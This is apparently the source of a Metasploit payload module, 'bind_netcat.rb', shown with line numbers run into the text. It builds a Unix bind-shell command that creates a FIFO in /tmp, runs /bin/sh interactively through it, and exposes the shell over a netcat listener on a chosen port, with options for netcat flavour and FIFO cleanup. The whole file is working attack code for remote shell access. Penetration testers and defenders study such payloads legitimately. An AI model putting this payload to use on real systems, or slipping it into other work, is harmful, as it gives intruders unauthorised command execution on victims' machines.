Path: blob/master/modules/payloads/singles/cmd/unix/bind_netcat.rb
36894 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Bind TCP (via netcat)',16'Description' => 'Listen for a connection and spawn a command shell via netcat',17'Author' => [18'm-1-k-3',19'egypt',20'juan vazquez'21],22'License' => MSF_LICENSE,23'Platform' => 'unix',24'Arch' => ARCH_CMD,25'Handler' => Msf::Handler::BindTcp,26'Session' => Msf::Sessions::CommandShell,27'PayloadType' => 'cmd',28'RequiredCmd' => 'netcat',29'Payload' => {30'Offsets' => {},31'Payload' => ''32}33)34)35register_advanced_options(36[37OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),38OptEnum.new('NetcatFlavor', [true, 'The flavor of Netcat to use', 'auto', ['auto', 'default', 'openbsd']]),39OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh']),40OptString.new('FifoPath', [true, 'The path to the FIFO file to use, default is random', "/tmp/#{Rex::Text.rand_text_alpha_lower(4..7)}"]),41OptBool.new('DeleteFifo', [true, 'Whether to delete the FIFO file after execution', true])42]43)44end4546#47# Constructs the payload48#49def generate(_opts = {})50vprint_good(command_string)51return super + command_string52end5354#55# Returns the command string to use for execution56#57def command_string58nc_linux = "#{datastore['NetcatPath']} -lp #{datastore['LPORT']}"59nc_openbsd = "#{datastore['NetcatPath']} -l #{datastore['LPORT']}"60nc_auto = "(#{nc_linux} || #{nc_openbsd})"61command = "mkfifo #{datastore['FifoPath']}; #{datastore['ShellPath']} -i <#{datastore['FifoPath']} 2>&1 |"62case datastore['NetcatFlavor']63when 'default'64command += " #{nc_linux}"65when 'openbsd'66command += " #{nc_openbsd}"67else68command += " #{nc_auto}"69end70command += ">#{datastore['FifoPath']}"71command += "; rm #{datastore['FifoPath']}" if datastore['DeleteFifo']72command73end74end757677